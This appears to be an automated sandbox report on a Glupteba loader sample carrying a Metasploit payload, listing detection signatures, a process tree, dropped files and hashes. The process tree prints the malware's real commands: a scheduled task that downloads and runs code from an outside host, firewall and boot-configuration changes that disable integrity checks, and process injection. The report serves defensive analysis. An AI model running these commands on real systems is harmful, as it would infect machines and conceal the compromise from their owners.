Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    14/02/2024, 10:24

General

  • Target
    9b6dda94e2efe13a8e3607ec5bd3dc1f.exe
  • Size 4.3MB
  • Sample240214-mfkdnagh76
  • SHA256 2c4c7d29717dd9a83e417ef0e51d39fe6babc526ba019c1e6987a599640131d6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 22 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 6 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\9b6dda94e2efe13a8e3607ec5bd3dc1f.exe
    "C:\Users\Admin\AppData\Local\Temp\9b6dda94e2efe13a8e3607ec5bd3dc1f.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1736
    • C:\Users\Admin\AppData\Local\Temp\9b6dda94e2efe13a8e3607ec5bd3dc1f.exe
      "C:\Users\Admin\AppData\Local\Temp\9b6dda94e2efe13a8e3607ec5bd3dc1f.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2832
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1448
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:2548
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /197-197
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMon driver.
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2624
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1544
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:844
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:1440
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2120
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2236
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2216
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2392
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:696
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:664
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:704
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2064
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1768
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1772
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2612
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1452
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2148
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2512
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:2896
        • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2948
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240214102429.log C:\Windows\Logs\CBS\CbsPersist_20240214102429.cab
    1⤵
    • Drops file in Windows directory
    PID:2704

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        download.error

        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
        • Size 8.3MB
        • SHA256 3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e
        • MD5 SHA1 SHA512 SSDEEP

        download.error

        • Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
        • Size 492KB
        • SHA256 feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71
        • MD5 SHA1 SHA512 SSDEEP

        Tar2F4B.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\Tar2F4B.tmp
        • Size 171KB
        • SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
        • MD5 SHA1 SHA512 SSDEEP

        dsefix.exe

        • Path C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        • Size 94KB
        • SHA256 414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
        • MD5 SHA1 SHA512 SSDEEP

        patch.exe

        • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        • Size 1.7MB
        • SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 3.2MB
        • SHA256 463156c60012ad24b9cdd8448a3462d6e0ebdc1a41219ae62f5d34fdbcce44e0
        • MD5 SHA1 SHA512 SSDEEP

        94308059B57B3142E455B38A6EB92015

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
        • Size 65KB
        • SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
        • MD5 SHA1 SHA512 SSDEEP

        F0ACCF77CDCBFF39F6191887F6D2D357

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
        • Size 1KB
        • SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 304B
        • SHA256 1fed9f74ee4ccf02e0648370b02b5c68c0163b777b98a12bcac8e729130336ac
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 304B
        • SHA256 3796d1ed49da46dfc50bc226e060a9458a2ec37708a92c6e9b84bb801db82c8a
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 304B
        • SHA256 cebd4912f7b68c3456ae4dedc72abe92244df7e86c8bf57273b237d47e227143
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 304B
        • SHA256 fdc1f607a3379c89ec081724b240e512c99600e9a1160b7774f4ac3091ef6023
        • MD5 SHA1 SHA512

        F0ACCF77CDCBFF39F6191887F6D2D357

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
        • Size 242B
        • SHA256 6227505cf051a737b9f94205e50f7b8e88c6265e80b7a2bd91f9c3d8b0a2101f
        • MD5 SHA1 SHA512

        csrss.exe

        • Path C:\Windows\rss\csrss.exe
        • Size 1.1MB
        • SHA256 46a6eef4ec022bfacb9cccbb19d0ee644f60e002153c4624547d5204c999bf5f
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path C:\Windows\rss\csrss.exe
        • Size 1.0MB
        • SHA256 83a4eeef5d1234bb3ca74bc02d91390f5bf197cd5c09d4917bbda239bcf94849
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path C:\Windows\rss\csrss.exe
        • Size 263KB
        • SHA256 16a0ef4f548602dc5b6d3dce58326790edd534bd599a5b2320351d38ba649896
        • MD5 SHA1 SHA512 SSDEEP

        injector.exe

        • Path \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        • Size 281KB
        • SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
        • MD5 SHA1 SHA512 SSDEEP

        dbghelp.dll

        • Path \Users\Admin\AppData\Local\Temp\dbghelp.dll
        • Size 1.5MB
        • SHA256 6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 3.7MB
        • SHA256 f17687b0acd5fb51bd1d0924e5c95edde9c80a5507a677fb162145704da720b5
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 3.6MB
        • SHA256 f6de5ced2a6adeb6c8422030a373c0a25756c5c79c5b066d9999a03ad9c04fd7
        • MD5 SHA1 SHA512 SSDEEP

        ntkrnlmp.exe

        • Path \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
        • Size 2.9MB
        • SHA256 e20b92f51807db31c61bb9631b84900606e40a6b581c4b84d74519c0de06df2c
        • MD5 SHA1 SHA512 SSDEEP

        osloader.exe

        • Path \Users\Admin\AppData\Local\Temp\osloader.exe
        • Size 591KB
        • SHA256 b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
        • MD5 SHA1 SHA512 SSDEEP

        symsrv.dll

        • Path \Users\Admin\AppData\Local\Temp\symsrv.dll
        • Size 163KB
        • SHA256 e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path \Windows\rss\csrss.exe
        • Size 1.1MB
        • SHA256 c2328de1023a0eeb081917a73447a78952d508482d0adbb383b7ab112e341113
        • MD5 SHA1 SHA512 SSDEEP

        csrss.exe

        • Path \Windows\rss\csrss.exe
        • Size 961KB
        • SHA256 8202d5f659eeb0197bd95a5094136735a44eca40d011b39bf2c243be5465c72f
        • MD5 SHA1 SHA512 SSDEEP

        memory/1440-29-0x0000000140000000-0x00000001405E8000-memory.dmp

        memory/1440-47-0x0000000140000000-0x00000001405E8000-memory.dmp

        memory/1736-5-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/1736-6-0x0000000004EB0000-0x00000000057D6000-memory.dmp

        memory/1736-0-0x0000000004A70000-0x0000000004EAC000-memory.dmp

        memory/1736-1-0x0000000004A70000-0x0000000004EAC000-memory.dmp

        memory/1736-2-0x0000000004EB0000-0x00000000057D6000-memory.dmp

        memory/1736-3-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/1736-7-0x0000000004A70000-0x0000000004EAC000-memory.dmp

        memory/2624-387-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-388-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-287-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-299-0x0000000004B70000-0x0000000004FAC000-memory.dmp

        memory/2624-300-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-301-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-419-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-20-0x0000000004B70000-0x0000000004FAC000-memory.dmp

        memory/2624-418-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-417-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-23-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-355-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-416-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-385-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-386-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-18-0x0000000004B70000-0x0000000004FAC000-memory.dmp

        memory/2624-391-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-389-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2624-390-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2832-19-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2832-21-0x00000000049E0000-0x0000000004E1C000-memory.dmp

        memory/2832-9-0x0000000000400000-0x00000000030E6000-memory.dmp

        memory/2832-8-0x00000000049E0000-0x0000000004E1C000-memory.dmp

        memory/2832-4-0x00000000049E0000-0x0000000004E1C000-memory.dmp